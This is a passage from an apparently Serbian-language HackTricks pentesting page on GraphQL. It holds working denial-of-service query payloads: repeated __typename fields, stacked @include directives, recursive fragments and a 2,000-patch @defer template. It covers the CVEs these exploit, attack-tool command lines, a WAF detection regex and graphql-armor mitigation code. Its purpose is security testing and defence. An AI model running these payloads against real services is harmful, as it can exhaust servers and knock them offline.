\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Nedavne ranjivosti (2023-2025)
GraphQL ekosistem se brzo razvija; tokom poslednje dve godine otkriveno je nekoliko kritičnih problema u najkorišćenijim server bibliotekama. Kada pronađete GraphQL endpoint, vredno je izvršiti fingerprinting engine-a (pogledajte graphw00f) i proveriti pokrenutu verziju u odnosu na dole navedene ranjivosti.
CVE-2024-47614 – async-graphql directive-overload DoS (Rust)
- Pogođeno: async-graphql < 7.0.10 (Rust)
- Uzrok: nema ograničenja na duplicirane direktive (npr. hiljade
@include) koje se prošire u eksponencijalni broj čvorova izvršavanja. - Uticaj: jedan HTTP zahtev može iscrpeti CPU/RAM i srušiti servis.
- Rešenje/mitigacija: nadogradite ≥ 7.0.10 ili pozovite
SchemaBuilder.limit_directives(); alternativno filtrirajte zahteve WAF pravilom kao što je"@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF depth/complexity bypass
- Pogođeno: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- Osnovni uzrok: ExecutableNormalizedFields nisu bili uzeti u obzir od strane
MaxQueryDepth/MaxQueryComplexityinstrumentacije. Rekurzivni fragmenti su zato zaobilazili sva ograničenja. - Uticaj: DoS bez autentikacije protiv Java stack-ova koji ugrađuju graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- Pogođeno: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- Osnovni uzrok: mutacija
createMediaItemje prihvatala od napadača kontrolisanefilePathURLs, omogućavajući pristup unutrašnjim mrežnim endpoint-ima i pisanje fajlova. - Uticaj: autentifikovani Editors/Authors su mogli da pristupe endpoint-ima metapodataka ili da upisu PHP fajlove za remote code execution.
Incremental delivery abuse: @defer / @stream
Od 2023. većina glavnih servera (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementirala je direktive incremental delivery definisane od strane GraphQL-over-HTTP WG. Svaki deferred patch se šalje kao separatan chunk, tako da ukupna veličina odgovora postaje N + 1 (envelope + patches). Upit koji sadrži hiljade malih deferred polja stoga proizvodi veliki odgovor dok napadaču košta samo jedan zahtev – klasičan amplification DoS i način da se zaobiđu body-size WAF pravila koja pregledaju samo prvi chunk. Članovi WG su sami ukazali na ovaj rizik.
Example payload generating 2 000 patches:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Ublažavanje: onemogućite @defer/@stream u produkciji ili nametnite max_patches, kumulativni max_bytes i ograničenje vremena izvršavanja. Biblioteke kao graphql-armor (pogledajte dole) već primenjuju razumna podrazumevana podešavanja.
Odbrambeni middleware (2024+)
| Projekat | Beleške |
|---|---|
| graphql-armor | Node/TypeScript validation middleware objavljen od Escape Tech. Implementira plug-and-play ograničenja za query depth, alias/field/directive counts, tokens i cost; kompatibilan sa Apollo Server, GraphQL Yoga/Envelop, Helix, itd. |
Brzi početak:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor će sada blokirati previše duboke, kompleksne ili upite sa mnogo direktiva, štiteći od gore navedenih CVE-ova.
Alati
Skeneri ranjivosti
- https://github.com/dolevf/graphql-cop: Testira uobičajene pogrešne konfiguracije graphql endpointa
- https://github.com/assetnote/batchql: Skript za sigurnosni audit GraphQL-a sa fokusom na izvršavanje batch GraphQL upita i mutacija.
- https://github.com/dolevf/graphw00f: Otkriva koji graphql se koristi
- https://github.com/gsmith257-cyber/GraphCrawler: Toolkit koji se može koristiti za preuzimanje shema i pretragu osetljivih podataka, testiranje autorizacije, brute force shema i pronalaženje puteva do određenog tipa.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Može se koristiti samostalno ili kao Burp extension.
- https://github.com/swisskyrepo/GraphQLmap: Može se koristiti i kao CLI klijent za automatizaciju napada:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: Alat koji navodi različite načine pristupanja određenom tipu u GraphQL shemi.
- https://github.com/doyensec/GQLSpection: The Successor of Standalone and CLI Modes os InQL
- https://github.com/doyensec/inql: Burp extension or python script for advanced GraphQL testing. The Scanner is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The Attacker component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: Pokušava da dobije šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza koje će sugerisati nazive mutacija i parametara.
Skripte za eksploatisanje uobičajenih ranjivosti
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Kolekcija skripti za eksploatisanje denial-of-service ranjivosti u ranjivim graphql okruženjima.
Klijenti
- https://github.com/graphql/graphiql: GUI klijent
- https://altair.sirmuel.design/: GUI klijent
Automatski testovi
https://graphql-dashboard.herokuapp.com/
- Video koji objašnjava AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU
Reference
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

